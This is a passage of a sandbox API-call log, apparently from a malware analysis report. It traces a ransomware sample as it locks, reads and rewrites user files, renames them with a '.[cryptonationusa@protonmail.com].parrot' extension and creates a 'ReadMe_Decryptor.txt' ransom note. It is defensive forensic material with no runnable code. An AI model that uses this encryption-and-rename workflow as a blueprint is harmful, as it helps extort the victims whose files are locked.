Flags=0x0, Size=0x100) returned 0x28d0920 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0048.313] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0048.313] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0048.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0048.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0048.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0048.314] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x63c9d0 [0048.433] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.433] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28fde30 [0048.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63c9d0 | out: hHeap=0x540000) returned 1 [0048.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2900dc8 [0048.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28d9df0 [0048.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2900dc8 | out: hHeap=0x540000) returned 1 [0048.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0048.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28d9df0 [0048.507] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x2919e10 [0048.509] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.509] WriteFile (in: hFile=0x2d4, lpBuffer=0x2919e20*, nNumberOfBytesToWrite=0x11e58, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2919e20*, lpNumberOfBytesWritten=0x18fa94*=0x11e58, lpOverlapped=0x0) returned 1 [0048.510] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2919e10 | out: hHeap=0x540000) returned 1 [0048.510] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11e55, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.510] CloseHandle (hObject=0x2d4) returned 1 [0048.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0048.511] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0048.511] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0048.511] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DaiRVCMbiUQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dairvcmbiuq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DaiRVCMbiUQ.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dairvcmbiuq.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0048.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0048.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0048.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0048.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0048.512] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0048.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.513] GetFileType (hFile=0x2d4) returned 0x1 [0048.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0048.524] lstrcmpW (lpString1="eZ13Xim0Gj6B0A9_N.gif", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eZ13Xim0Gj6B0A9_N.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ez13xim0gj6b0a9_n.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.524] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xe5ee [0048.524] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe706, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.524] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.524] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0048.525] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.525] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0xe5ee, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0xe5ee, lpOverlapped=0x0) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0048.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0048.526] GetLastError () returned 0x0 [0048.526] SetLastError (dwErrCode=0x0) [0048.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0048.526] GetLastError () returned 0x0 [0048.526] SetLastError (dwErrCode=0x0) [0048.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.526] GetLastError () returned 0x0 [0048.526] SetLastError (dwErrCode=0x0) [0048.526] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.526] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c88 [0048.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0048.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x600980 [0048.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28fde30 [0048.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x600980 | out: hHeap=0x540000) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28ffe70 [0048.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.527] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9df0 [0048.527] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ffe70 | out: hHeap=0x540000) returned 1 [0048.530] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1e30 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c70 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c88 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0048.531] GetLastError () returned 0x0 [0048.531] SetLastError (dwErrCode=0x0) [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0048.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0048.531] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0048.531] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb88 [0048.531] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bdc8 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bb88 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bdc8 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bb88 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bdc8 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608fb0 [0048.532] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0048.532] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x28f1e70 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x28f3e38 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f1e70 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28d9df0 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f3e38 | out: hHeap=0x540000) returned 1 [0048.533] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28f1e70 [0048.533] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9df0 | out: hHeap=0x540000) returned 1 [0048.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28fde30 [0048.534] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f1e70 | out: hHeap=0x540000) returned 1 [0048.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x61c990 [0048.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fde30 | out: hHeap=0x540000) returned 1 [0048.536] WriteFile (in: hFile=0x2d4, lpBuffer=0x61c9a0*, nNumberOfBytesToWrite=0xe708, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x61c9a0*, lpNumberOfBytesWritten=0x18fa94*=0xe708, lpOverlapped=0x0) returned 1 [0048.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0048.536] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe706, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.536] CloseHandle (hObject=0x2d4) returned 1 [0048.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0048.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608fb0 | out: hHeap=0x540000) returned 1 [0048.537] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eZ13Xim0Gj6B0A9_N.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ez13xim0gj6b0a9_n.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\eZ13Xim0Gj6B0A9_N.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ez13xim0gj6b0a9_n.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0048.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0048.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1e30 | out: hHeap=0x540000) returned 1 [0048.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0048.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608fb0 [0048.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0048.540] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0048.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.541] GetFileType (hFile=0x2d4) returned 0x1 [0048.541] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0048.717] lstrcmpW (lpString1="G-0XoD6Z.bmp", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\G-0XoD6Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\g-0xod6z.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0048.717] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x8da2 [0048.717] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8eba, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.718] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.718] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0048.718] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.719] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x8da2, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x8da2, lpOverlapped=0x0) returned 1 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb88 [0048.719] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0048.719] GetLastError () returned 0x0 [0048.719] SetLastError (dwErrCode=0x0) [0048.719] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0048.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 